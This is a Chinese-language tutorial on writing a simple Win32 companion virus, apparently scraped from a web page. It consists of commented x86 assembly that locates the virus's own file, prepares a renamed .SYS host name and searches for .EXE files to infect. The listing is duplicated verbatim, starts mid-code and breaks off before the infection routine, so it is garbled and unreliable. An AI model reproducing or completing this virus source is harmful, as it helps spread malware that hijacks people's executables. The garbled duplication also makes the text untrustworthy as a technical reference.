对简单Win32伴侣病毒的研究
; 这是 Win32 Find data:
; 这里保存关于目标文件的所有数据
; 我们仅仅对包含目标文件的名称的"WFD_szFileName"
; 记住我们必须复制目标文件成另外一个文件名,
; 而把病毒复制成目标文件最先的文件名
;+++++
VirusFile db 260d dup (0)
HostFile db 260d dup (0)
HostCopy db 260d dup (0)
;+++++
; 这里创建文件名的空间:病毒文件名,宿主文件名,
; 还有我们必须创建的文件名(从目标文件复制)
;+++++
FileMask db ’*.EXE’,0
FindHandle dd 0
ProcessInfo dd 4 dup (0)
StartupInfo dd 4 dup (0)
;+++++
; 包含我们必须搜索的文件
; FileHandle 包含搜索的文件的句柄 (FindNextFileA)
; ProcessInfo and StartupInfo 仅仅是为了运行宿主 (不重要)
;+++++
.code
start:
;+++++
; ROCK ’N ROLL =)
;+++++
call GetCommandLineA
;+++++
; 这里我们获取包含正在运行的程序文件名的CommandLine
; (病毒文件 :). 现在,line 在eax了, 看下一步...
;+++++
inc eax ; **** da "
push eax
push offset VirusFile
call lstrcpyA ;复制它
;+++++
; 为什么要’inc eax’???
; 因为CommandLine类似这样:"C:\LUCI\HELL.EXE" (包含 ")
; 我们不能运行,复制带有"的程序,所以我们走到前面一个地方
; 它从eax复制到VirusFile
;+++++
mov esi,offset VirusFile ;now in esi
call GetPoint ;call a kewl procedure ;)
;+++++
; we must find da point to **** the other "
; 让我们看看...
;+++++
mov dword ptr [esi+4],00000000d ;清除它
;+++++
; 我们走到.EXE后面并清除"号
; ->现在我们得到完整funcional VirusFile
;+++++
push offset VirusFile
push offset HostFile
call lstrcpyA
;+++++
; 把文件名复制到HostFile, 这样我们可以改变它并得到真的Host文件名 (.SYS)
; ...
;+++++
mov esi,offset HostFile
call GetPoint
;+++++
; 得到指针...
;+++++
mov dword ptr [esi],5359532Eh ;5359532Eh = ’SYS.’
;+++++
; 把它重命名为 .SYS (last 4 letters with point)
; 现在我们得到HostFile, 可能运行宿主...
; ...但是等等! 我们必须感染文件!!!
;+++++
push offset WIN32_FIND_DATA
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax ;保存句柄
;+++++
; 如果你不懂WIN32_FIND_DATA and FileMask,请往上看...
; Call后Find Handle保存在eax中, FindNextFileA还要用到,我们保存它...
;+++++
; 这里保存关于目标文件的所有数据
; 我们仅仅对包含目标文件的名称的"WFD_szFileName"
; 记住我们必须复制目标文件成另外一个文件名,
; 而把病毒复制成目标文件最先的文件名
;+++++
VirusFile db 260d dup (0)
HostFile db 260d dup (0)
HostCopy db 260d dup (0)
;+++++
; 这里创建文件名的空间:病毒文件名,宿主文件名,
; 还有我们必须创建的文件名(从目标文件复制)
;+++++
FileMask db ’*.EXE’,0
FindHandle dd 0
ProcessInfo dd 4 dup (0)
StartupInfo dd 4 dup (0)
;+++++
; 包含我们必须搜索的文件
; FileHandle 包含搜索的文件的句柄 (FindNextFileA)
; ProcessInfo and StartupInfo 仅仅是为了运行宿主 (不重要)
;+++++
.code
start:
;+++++
; ROCK ’N ROLL =)
;+++++
call GetCommandLineA
;+++++
; 这里我们获取包含正在运行的程序文件名的CommandLine
; (病毒文件 :). 现在,line 在eax了, 看下一步...
;+++++
inc eax ; **** da "
push eax
push offset VirusFile
call lstrcpyA ;复制它
;+++++
; 为什么要’inc eax’???
; 因为CommandLine类似这样:"C:\LUCI\HELL.EXE" (包含 ")
; 我们不能运行,复制带有"的程序,所以我们走到前面一个地方
; 它从eax复制到VirusFile
;+++++
mov esi,offset VirusFile ;now in esi
call GetPoint ;call a kewl procedure ;)
;+++++
; we must find da point to **** the other "
; 让我们看看...
;+++++
mov dword ptr [esi+4],00000000d ;清除它
;+++++
; 我们走到.EXE后面并清除"号
; ->现在我们得到完整funcional VirusFile
;+++++
push offset VirusFile
push offset HostFile
call lstrcpyA
;+++++
; 把文件名复制到HostFile, 这样我们可以改变它并得到真的Host文件名 (.SYS)
; ...
;+++++
mov esi,offset HostFile
call GetPoint
;+++++
; 得到指针...
;+++++
mov dword ptr [esi],5359532Eh ;5359532Eh = ’SYS.’
;+++++
; 把它重命名为 .SYS (last 4 letters with point)
; 现在我们得到HostFile, 可能运行宿主...
; ...但是等等! 我们必须感染文件!!!
;+++++
push offset WIN32_FIND_DATA
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax ;保存句柄
;+++++
; 如果你不懂WIN32_FIND_DATA and FileMask,请往上看...
; Call后Find Handle保存在eax中, FindNextFileA还要用到,我们保存它...
;+++++
0
相关文章